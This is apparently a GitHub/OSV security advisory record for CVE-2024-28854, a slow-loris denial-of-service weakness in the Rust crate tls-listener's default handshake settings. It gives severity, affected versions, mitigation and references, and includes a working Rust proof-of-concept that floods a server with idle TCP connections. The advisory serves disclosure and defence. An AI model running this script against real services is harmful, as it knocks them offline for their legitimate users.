CVE-2024-28854: Tls listener Tls-listener Affected By The Slow Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2qph-qpvm-2qf7",
  "modified" : "2025-04-09T19:58:53Z",
  "published" : "2024-03-15T19:57:22Z",
  "aliases" : [ "CVE-2024-28854" ],
  "summary" : "tls-listener affected by the slow loris vulnerability with default configuration",
  "details" : "### Summary\nWith the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.\n\n### Details\nThe default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.\n\n```rust\n/// Default number of concurrent handshakes\npub const DEFAULT_MAX_HANDSHAKES: usize = 64;\n/// Default timeout for the TLS handshake.\npub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);\n```\n\n### PoC\n\nRunning the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.\n\n```rust\nuse std::{net::ToSocketAddrs, time::Duration};\nuse tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};\n\n#[tokio::main]\nasync fn main() {\n    const N: usize = 1024;\n    const T: Duration = Duration::from_secs(10);\n\n    let url = \"127.0.0.1:3000\";\n    let sockets: Vec<_> = url\n        .to_socket_addrs()\n        .unwrap()\n        .inspect(|s| println!(\"{s:?}\"))\n        .collect();\n\n    let mut js = JoinSet::new();\n\n    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));\n    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);\n    for _ in 0..10000 {\n        for &socket in &sockets {\n            int.tick().await;\n            js.spawn(async move {\n                let mut stream = TcpStream::connect(socket).await.unwrap();\n                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;\n            });\n        }\n    }\n\n    while js.join_next().await.is_some() {}\n}\n\n```\n\n### Impact\n\nThis is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "tls-listener"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.10.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-28854"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"
  }, {
    "type" : "WEB",
    "url" : "https://en.wikipedia.org/wiki/Slowloris_(computer_security)"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tmccombs/tls-listener"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0"
  }, {
    "type" : "WEB",
    "url" : "https://rustsec.org/advisories/RUSTSEC-2024-0341.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-15T19:57:22Z",
    "nvd_published_at" : "2024-03-15T19:15:07Z"
  }
}